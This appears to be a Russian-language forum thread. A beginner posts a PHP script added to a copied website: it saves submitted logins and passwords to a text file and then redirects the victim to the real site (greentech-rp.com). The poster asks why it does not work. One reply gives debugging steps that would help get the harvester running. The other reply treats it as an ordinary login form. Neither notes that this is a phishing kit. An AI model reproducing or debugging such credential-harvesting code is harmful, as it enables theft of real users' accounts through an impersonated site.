Jump to content
  • 0

Помогите новичку)


maukov
 Share

Question

Всем привет, только изучаю эту сферу и возник такой вопрос. 

Скачал html готового сайта, и попытался добавить php скрипт

<?PHP

$Log = $_POST['login'];

$Pass = $_POST['password'];

$log = fopen("database.txt","at");

fwrite($log,"\n $Log:$Pass \n");

fclose($log);

header('Location: https://greentech-rp.com/');

?>

Далее добавил это все на хост через Filezilla. Сам скопированный сайт отображается идеально, но вот скрипт не работает от слова совсем, не идут данные в текстовый документ и нет переадресации после ввода данных.

В архиве прикрепил полностью готовый сайт, в чем может быть проблема?

876678500_WinRAR.rar

Link to comment
Share on other sites

2 answers to this question

Recommended Posts

  • 0

откройте свой /login.php на сайте и посмотрите какие ошибки выводятся, если вывод ошибок скрыт (а он скорее всего скрыт), смотрите на хостинге в какой-нибудь панели или через ftp логи ошибок php
могу включить Вангу и предположить что перед

$Log = $_POST['login'];

стоит сделать проверку существования переменной $_POST['login']

а для начала вообще проверить можно ли на данном хостинге использовать php
добавив в начало вашего скрипта например

echo 'login';

если выводится "login", значит нужно чинить скрипт, иначе - настраивать сервер

 

Link to comment
Share on other sites

  • 0

Я тож не  весть какой знаток PHP, но судя по коду - экспериментируем с авторизацией? Пытаемся завести на сайт логин и пароль? 

Если начали сразу с команд типа 

$Log = $_POST['login'];

т.е. с чтения глобальных переменных связанных с передачей данных, то это как-то рановато. Сначала их надо "создать". Создать их можно html-тегами form и input.  

Понятно эти теги должны быть размещены в коде странички сайта, причём скорее всего не в той где команда обработки переменной $_POST, а в какой-то предыдущей. Эта предыдущая страница содержит форму ввода логина и пароля (изготовляется  html-тегами form и input), и имеет кнопку, например "Авторизоваться". Пользователь вводит логин и пароль, жмет на "Авторизоваться", тут же генерируется комплект переменных типа $_POST которые отправляются на ту страничку сайта где планируется их обработать (прописано в теге form). Вот теми самыми командами присвоения типа: $Log = $_POST['login']; . Теперь эти команды заработают. Но толку от них мало, если к сайту не прикручена база данных с логинами и паролями, по которой авторизация и проверяется. А работа с базой данных это отдельная интересная история...

 

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Answer this question...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue. See more about our Guidelines and Privacy Policy